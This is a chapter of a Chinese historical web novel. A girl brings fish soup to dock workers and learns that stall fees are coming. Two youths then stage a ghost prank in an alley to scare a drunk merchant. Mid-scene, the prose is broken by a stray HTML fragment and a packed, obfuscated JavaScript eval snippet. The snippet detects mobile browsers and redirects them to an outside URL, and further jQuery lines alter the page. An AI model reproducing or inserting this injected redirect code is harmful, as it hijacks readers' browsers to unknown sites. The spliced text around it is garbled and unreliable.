“给赵叔和叔伯们送碗汤。”半月把瓦罐从竹篮里搬出来,掀开裹在外面的粗布,揭开盖子一角。鱼汤的热气“呼”地冲上来,白花花的水雾在河风里散开,旁边一个正蹲着歇气的工人吸了吸鼻子,脖子不自觉地往这边扭。
李有福这才反应过来,赶紧把竹筒搁下,在衣襟上蹭了蹭手。
他向来只晓得闷头干活,从没张罗过请谁吃饭、送谁东西,如今见闺女想得比他还周全,心里头熨帖得很,嘴上却说不出来,只嘿嘿笑了两声,拿手挠了挠后脑勺。
“老李!你闺女来了!”一个精瘦的老工人眼尖,远远喊了一嗓子,几个人放下扁担围过来看热闹。
赵虎正站在跳板边上指挥卸货,一只手指着货堆让人往东边码,另一只手叉在腰上。听见这边动静,他把胳膊上搭着的汗巾扯下来往肩上一甩,大步流星地走了过来。
他黑脸膛,浓眉毛,步子又沉又稳,往人堆里一站,旁边那几个工人自动往两边让了半步。
半月大大方方地把瓦罐往前一推:“赵叔,上回的事还没正经谢过您和叔伯们,家里熬的鱼汤,天冷,喝碗暖和暖和,别嫌弃。”
赵虎愣了愣,低头看了看那罐汤,汤色奶白,豆腐丁在里头浮浮沉沉,野葱碎碧绿的一撮漂在面上,热气直往他鼻子里扑。
他仰头哈哈笑了两声,声量能在码头上砸个回音:“老李!你这闺女,将来可了不得!码头上这么多后生,哪个有她这份心?”说完了,他又转头朝半月竖起大拇指:“丫头,你有这份心,我收下了!”
“呵呵……”李有福站在原地憨憨地笑,一会儿抓抓后颈,一会儿扯扯衣角,脸上带几分窘迫,眼底的笑意却更深了。
“都过来!”赵虎朝货船那边吆喝了一嗓子,声如洪钟,几个工人闻声放下手里的活计凑了上来,“老李家闺女给咱送汤来了——都尝一口!一人一碗,别白瞎了人家的心意!”
勺子递过去,你一碗我一碗。鱼汤奶白,野葱翠绿,混着姜的辛辣。有人喝得呼噜响,有人端着碗蹲在一边慢慢品,嘴上没停,全是夸的。
赵虎从半月手里接过满满一碗,勺子在碗底刮了一下,低头吹了两口气,灌了一大口。他咂咂嘴,眯了眯眼,又喝了一口。
这回没急着咽,搁在嘴里品了品,眼角的褶子跟着往上提了提。然后他把碗底都仰干净了,才抬起头来看半月。
“胖丫头,你这手艺,在码头上摆摊可惜了。”他把碗递给旁边的工人,“镇上要是有合适的铺面,你租一个,比在这儿风吹日晒强。”
半月把空碗一只一只摞进竹篮里,笑着摇了摇头:“铺面租金太贵了,租不起。”
赵虎没接话。他往四周扫了一圈,码头上人多嘴杂,扛活的、挑担的、摆摊的挤成一锅粥。
他往半月近旁挪了半步,肩膀微微侧过来,嗓门压得只有两个人能听见:“我给你透个信,码头上这些摊子,过阵子怕是有变数。上边有人提了,要统一定规矩。往后这摊位让不让摆、怎么摆、收不收钱,就由不得咱们了。”
半月心跳加速了一下,手停在半空中,一只碗搁在竹篮边上没放稳,晃了两晃。
“什么时候开始收?收多少?是所有摊子都收还是——”
话没问完,码头那头传来船靠岸的号子声。跳板还没搭稳,监工已经在岸上扯着嗓子喊开了:“都过来都过来!这船天黑前得卸完!”
赵虎把汗巾从肩上扯下来,朝货船那边扬了扬下巴,对半月说了最后一句:“啥时候收、收多少,现在还没定。你就当有这回事,心里头先盘算着,总比事到临头慌了手脚强。”
“喝完了就干活!”他转身大步朝货船走去,一边走一边冲工人们吆喝,“船不等人!天黑前卸不完,晚饭全给我推后一个时辰!”
工人们赶紧放下碗,拿袖子抹了把嘴,往货船走。
李有福把碗搁进半月的竹篮里:“胖丫,我们先去忙了。”说完扛起扁担小跑着跟上去了。
半月把空瓦罐和碗筷收进竹篮,用粗布裹严实了,挎上胳膊往回走。
一路上,赵虎那句话在她脑子里翻来覆去地转。真要收摊位费,这生意就多了一笔固定开销,扛着吧利太薄,涨价吧又不好跟那些扛活的工人开口,人家一天才挣十五文。
她越想越远,要是连摊位费都赚不出来,就得另找铺面,可铺面租金更贵,一押就是小半年,她手头那点铜板哪里够。想到这里,她赶紧打住了。事情还没个准信,现在愁这些也没用,等真有了消息再说。
到家的时候,灶房顶上的烟囱正冒着青烟。刘翠兰坐在灶前择菜,脚边搁着一篮子萝卜缨子,黄叶子一片一片掐掉。半月把竹篮放在石桌上,四下扫了一眼,院子里空荡荡的。
“娘,冬生和沈金宝呢?”
“早上就出去了,还没回来。”刘翠兰头也没抬,手指一掐一扭,把一片黄叶子落进脚边的簸箕里。
“两个神神秘秘的,也不知道干什么去了。”
半月皱了皱眉,想起早上李冬生拉着沈金宝出门时的兴奋劲儿,总觉得有些怪。但她没再问,把空瓦罐从竹篮里拿出来清理,心里又开始琢磨铺面的事。
日头渐渐偏西,天色暗下来。枣树影子从院墙根爬到石桌上,又往灶房门口漫过去,最后融进了沉沉的暮色里。
大庙镇东街,钱家粮铺后院外头的窄巷子。
巷子窄得只容两个人侧身错开,两边墙头支棱着几根枯草,风一吹就簌簌地响。地上积着半干不干的泥,踩上去软塌塌的。
沈金宝靠着墙根站着,月光从房檐的豁口漏进来一线,刚好落在他眉骨上,把半张脸切成了明暗两半。他从怀里摸出一块叠得四四方方的白布和一小包东西,递给李冬生。
李冬生接过来,打开那小包,里头是一撮白色的粉,不知道是石灰还是墙灰。
他抬头看沈金宝,眼珠子在暗处亮晶晶的,压着嗓门却压不住那股子紧张劲儿:“这啥东西?面粉?”
“别管啥东西,抹就是了。”沈金宝把白布抖开,“衣裳外头披上,脸上抹白,头发拆散了。披的时候把布角扯到前面来,走路不要抬脚,用拖的。”他说得又低又快,不断叮嘱。
李冬生点了点头,把手指往粉里一戳,往脸上抹。手有点抖,蹭得满脸白一道灰一道,额头上一块白的,下巴上还是肉色,跟花猫似的。
沈金宝皱了皱眉,把白粉拿过来,直接拍在他脸上。指腹搓了两下,从鼻梁往两边抹匀了,又在他眼窝和颧骨下面多拍了两下,让阴影处显得凹下去一块,像人脱了相。
然后他退后半步上下打量了一番,把白布往李冬生身上一披,扯了扯布角让它在风里能飘起来。
夜里这巷子气口密,风是打着旋进来转出去的,布一飘,影子跟着活了
“头发。”沈金宝提醒。
李冬生扯掉束发的布条,把头发揉散了披在脸上。他个子矮,白布一裹,站在巷子里,夜色从两边墙头压下来,衬得整个人惨白兮兮的,有些渗人。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527543|202692||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
沈金宝打量了他一眼,满意了。
他往后退了一步,背靠在对面的墙上,声音放得更低:“两年前,钱家有个叫莲儿的丫鬟投井死了。就死在钱大富院里。对外说是自己想不开,底下人都传是钱大富喝醉了酒对她动手动脚,逼死了她,那丫鬟投井的时候,穿的就是白衣裳。”
“啊?真的吗?”李冬生吓得咽了口唾沫。
“真假不重要,能装成莲儿吓住他就成。”沈金宝把袖子往上提了提,露出半截手腕,“等会儿你说话要夹着嗓子,要细,要飘,像个年轻女人。不用编词儿,就喊冷,喊黑,喊他下去陪你。”
他顿了顿,自己示范了一下。嘴角没怎么动,喉咙里却飘出一个幽幽的声音,拖长了调子:“少爷~井里~好~冷~啊~”
李冬生脊背一凉,打了个激灵,往后缩了半步:“金、金宝哥,你学过?”
“听戏时看过。”沈金宝没多解释。
他把身子往墙上一靠,下巴朝巷口的方向点了点:“记住,头发别全遮脸,露出半边眼睛,另外半边用白布蒙住。等钱大富从巷口过来,你先蹲着,等他走三步再站起来,不要跳,要慢慢起,像从地里长出来一样,声音别太清晰,越含糊他越怕。”
李冬生重重地点了点头,依言蹲在墙根底下。白布堆在地上,他把膝盖缩进布里,整个人团成小小一团,只露出一双眼睛在暗处一闪一闪的。
沈金宝退到更暗的角落里,巷子深处堆着几捆发霉的稻草,他挨着稻草蹲下来,整个人融进暗处,只留一道窄窄的侧脸轮廓,在月光照不到的角落里一动不动。
他最后叮嘱了一句:“不管他说什么,你都别慌。我一直在这儿。”
巷子里安静下来,只有风吹过墙头枯草的簌簌声,和远处街口偶尔传来的一声狗叫。
没过多久,巷口传来拖拖沓沓的脚步声。先是一股酒气飘进来,浓郁得连墙缝里的蛐蛐都噤了声,然后是钱大富那件湖蓝绸衫在月光底下晃了一下。
他抱着个小酒坛子拐进巷子,脸涨得通红,走起路来七扭八歪,嘴里哼着不成调的曲子,哼了两句又停下来打了个酒嗝。
一步,两步,三步……
李冬生忽然从墙根站起来,白布在风里飘了一下,他低着头,头发遮着半边脸,另外半边白惨惨的,眼窝凹着一团黑,脚尖在地上拖着,发出沙沙的声响。
钱大富眯着眼往前看了好几秒,没看清,又歪着头往前走了一步,酒气从嘴里往外直喷。
“谁?谁在那儿?”声音含含糊糊的,舌头打着卷。
李冬生没动,他慢慢抬起头,露出一只眼睛,黑漆漆的,不眨,一动不动地盯着钱大富。
钱大富的步子顿住了,揉了揉眼睛。巷子深处一团白影,头发乱蓬蓬飘在脸前,看不清脚,白布在地上一拖一拖的,像是整个人浮在泥地上。
他“啧”了一声,只当是哪个不长眼的乞丐挡了路,竖起眉毛骂道:“哪儿来的乞丐?敢挡小爷的路?滚开!”
李冬生没说话,缓缓往前迈了一步。脚在地上拖着,鞋底蹭着石板,发出沙沙的响声。那声音不高,可在窄巷子里听起来格外清楚,像什么东西在泥土里爬。
钱大富看清了那身白布,眉头皱得更紧。酒意让他胆子比平时壮,见对方不让,反而更恼了:“装神弄鬼!小爷在这镇上活了二十年,什么没见过?你再不走,我叫人把你扔河里去!”
李冬生躲在白布底下,心跳得咚咚响。完了完了,露馅了!